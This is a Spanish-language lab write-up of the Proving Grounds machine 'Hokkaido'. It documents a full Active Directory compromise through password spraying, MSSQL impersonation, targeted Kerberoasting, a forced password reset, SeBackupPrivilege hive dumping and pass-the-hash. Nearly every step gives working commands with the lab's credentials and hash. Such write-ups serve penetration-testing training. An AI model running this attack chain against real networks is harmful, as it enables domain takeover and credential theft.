Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / hokkaido.es.md

Hokkaido

5 de febrero de 2025 | Proving Grounds | medium
#windows #active-directory #mssql #kerberoasting #sebackupprivilege #pivoting #bloodhound

Hokkaido Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Medium
  • IP Address: 192.168.146.40
  • Autor: AETH3RON

Resumen

Hokkaido es una máquina AD Windows de dificultad Media que requiere pivoting multi-etapa. El acceso inicial se establece mediante enumeración de usuarios y password spraying, que lleva a credenciales en un share y acceso a MSSQL. La impersonación en la base de datos revela credenciales LDAP que permiten un ataque de Targeted Kerberoasting via ACL GenericWrite y un reseteo forzado de contraseña de un admin Tier 1. La escalada final abusa de SeBackupPrivilege para volcar hives del registro y hacer pass-the-hash como Administrador.

Enumeración

Nmap

Comenzamos escaneando el objetivo para identificar los puertos abiertos y los servicios.

nmap -Pn -sS -sV -p- 192.168.146.40 -oN nmap-basic

Escaneo nmap básico SYN mostrando los puertos abiertos en Hokkaido

Realizamos un escaneo más completo sobre los puertos descubiertos.

nmap -Pn -sS -sV -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 192.168.146.40 -oN nmap-common

Escaneo nmap dirigido confirmando DC Windows con MSSQL (puerto 1433) expuesto

El escaneo confirma que es un Controlador de Dominio Windows con servicios AD típicos (DNS, Kerberos, LDAP, SMB) y MSSQL.

Kerbrute

Utilizamos kerbrute para validar nombres de usuario potenciales contra el dominio usando una wordlist grande.

kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.146.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

Kerbrute validando nombres de usuario contra el dominio hokkaido-aerospace.com

Este proceso identificó varias cuentas de usuario válidas. Guardamos estos nombres en usernames.txt para el password spraying.

SMB

Usando los nombres de usuario descubiertos, intentamos un password spray donde la contraseña coincide con el nombre de usuario.

nxc smb 192.168.146.40 -u usernames.txt -p usernames.txt

Password spray NetExec SMB con usuario-como-contraseña revelando credenciales info:info

El ataque tuvo éxito, revelando credenciales válidas para el usuario info (info:info). Con estas credenciales podemos enumerar todos los usuarios del dominio.

nxc smb 192.168.146.40 -u info -p info --users

NetExec listando todos los usuarios del dominio autenticado como info

Guardamos la lista completa de usuarios para procesarla. Para explorar los shares accesibles al usuario info, usamos el módulo spider_plus de NetExec.

nxc smb 192.168.146.40 -u info -p info -M spider_plus

Módulo spider_plus de NetExec explorando los shares SMB accesibles al usuario info

Analizando el JSON resultante, identificamos un archivo llamado password_reset.txt en el share NETLOGON con la contraseña Start123!.

Spraylamos la contraseña Start123! contra nuestra lista de usuarios.

nxc smb 192.168.146.40 -u usernames.txt -p 'Start123!' --continue-on-success

NetExec spray revelando credenciales discovery:Start123! del archivo password_reset.txt del share NETLOGON

Esto reveló otro conjunto de credenciales válidas: discovery:Start123!.

MSSQL

El usuario discovery no tenía acceso WinRM o RDP, pero NetExec indicó acceso al servicio MSSQL. Nos conectamos usando impacket-mssqlclient.

impacket-mssqlclient discovery:'Start123!'@192.168.146.40 -windows-auth

Impacket mssqlclient conectado a MSSQL como usuario discovery

Una vez conectados, enumeramos las bases de datos disponibles.

SELECT name FROM master..sysdatabases;

Consulta MSSQL listando las bases de datos disponibles incluyendo la no estándar hrappdb

Identificamos una base de datos no estándar llamada hrappdb. Verificamos qué usuarios podemos impersonar para escalar privilegios en el contexto de la base de datos.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Consulta MSSQL mostrando hrappdb-reader como login impersonable

EXECUTE AS LOGIN impersonando hrappdb-reader para acceder a la base de datos hrappdb

La salida confirmó que podíamos impersonar al usuario hrappdb-reader. Ejecutamos la impersonación y accedimos exitosamente a la base de datos objetivo.

EXECUTE AS LOGIN = 'hrappdb-reader'; use hrappdb;

Enumeramos las tablas dentro de la base de datos.

SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;

Consulta INFORMATION_SCHEMA.TABLES listando las tablas de la base de datos hrappdb

Consultando las tablas identificadas revelamos credenciales para una cuenta de servicio: hrapp-service:Untimed$Runny.

SELECT * FROM sysauth;

Tabla sysauth revelando credenciales en texto plano para la cuenta hrapp-service

Acceso Inicial

Con las credenciales de hrapp-service, utilizamos bloodhound-python para recolectar datos del dominio.

bloodhound-python -u hrapp-service -p 'Untimed$Runny' -ns 192.168.146.40 -d hokkaido-aerospace.com -c All

bloodhound-python recolectando todos los datos del dominio AD como hrapp-service

Tras importar los datos en BloodHound, analizamos los caminos más cortos hacia el compromiso. Descubrimos que hrapp-service tiene privilegios GenericWrite sobre el usuario Hazel.Green, que es un Administrador Tier 2.

BloodHound mostrando que hrapp-service tiene GenericWrite sobre Hazel.Green, admin Tier 2

Este permiso nos permite realizar un ataque de Targeted Kerberoasting. Modificando el servicePrincipalName (SPN) del usuario objetivo, podemos solicitar un ticket TGS de Kerberos e intentar crackearlo offline.

python3 targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.146.40

Targeted Kerberoasting extrayendo el hash TGS de Hazel.Green mediante abuso de SPN con GenericWrite

Extraemos exitosamente el hash y lo crackeamos con Hashcat, revelando la contraseña: haze1988.

Hashcat crackeando el hash TGS de Hazel.Green revelando la contraseña 'haze1988'

Movimiento Lateral

Un análisis adicional en BloodHound mostró que Hazel.Green es miembro del IT Group. Este grupo tiene el permiso de cambiar forzosamente las contraseñas de los Administradores Tier 1, específicamente el usuario MOLLY.SMITH.

Usamos rpcclient para explotar este permiso y resetear la contraseña de Molly.

rpcclient -N 192.168.146.40 -U 'hazel.green%haze1988' $> setuserinfo2 MOLLY.SMITH 23 'Password123!'

rpcclient setuserinfo2 reseteando forzosamente la contraseña de MOLLY.SMITH a Password123!

Con la contraseña establecida en Password123!, iniciamos sesión vía RDP para verificar el acceso.

xfreerdp3 /u:molly.smith /p:'Password123!' /v:192.168.146.40 +clipboard

xfreerdp3 estableciendo sesión RDP como molly.smith para verificar el acceso

Escalada de Privilegios

Una vez autenticados como MOLLY.SMITH, comprobamos nuestros privilegios asignados.

whoami /priv

whoami /priv mostrando SeBackupPrivilege habilitado para MOLLY.SMITH

La salida confirma que el usuario posee SeBackupPrivilege. Este privilegio nos permite eludir las restricciones de lectura de archivos para volcar los hives críticos SAM y SYSTEM del registro.

Ejecutamos los siguientes comandos para guardar los hives en un directorio temporal:

reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

![Comandos reg save volcando los hives SAM y SYSTEM del registro en C:\Temp](/assets/machines/Hokkaido/reg-save.png)

Transferimos los archivos de vuelta a nuestra máquina atacante y usamos impacket-secretsdump para extraer los hashes locales offline.

impacket-secretsdump -system system -sam sam local

impacket-secretsdump extrayendo el hash NTLM del Administrador local de los hives SAM/SYSTEM

La herramienta volcó exitosamente el hash NTLM del Administrador local. Usamos este hash para autenticarnos vía WinRM (Pass-the-Hash), obteniendo una shell SYSTEM completa.

evil-winrm -i 192.168.146.40 -u administrator -H "d752482897d54e239376fddb2a2109e4"

Evil-WinRM Pass-the-Hash como Administrador concediendo acceso SYSTEM completo a Hokkaido

Impacto de Negocio

Esta cadena de ataque ilustra cómo el acceso inicial a través de credenciales débiles puede escalar hasta el compromiso total del dominio mediante abuso de MSSQL y ataques Kerberos. La capacidad de realizar Targeted Kerberoasting tras obtener permisos GenericWrite demuestra cómo una única ACL mal configurada puede exponer credenciales de cuentas de servicio. El posterior abuso de SeBackupPrivilege en el controlador de dominio permite la extracción de todos los secretos del dominio, incluyendo el hash KRBTGT, lo que permitiría a un atacante forjar Golden Tickets y mantener acceso persistente e indetectable a todo el entorno de Active Directory. Para organizaciones con autenticación integrada con MSSQL, esto representa una ruptura completa de su frontera de seguridad.

Referencias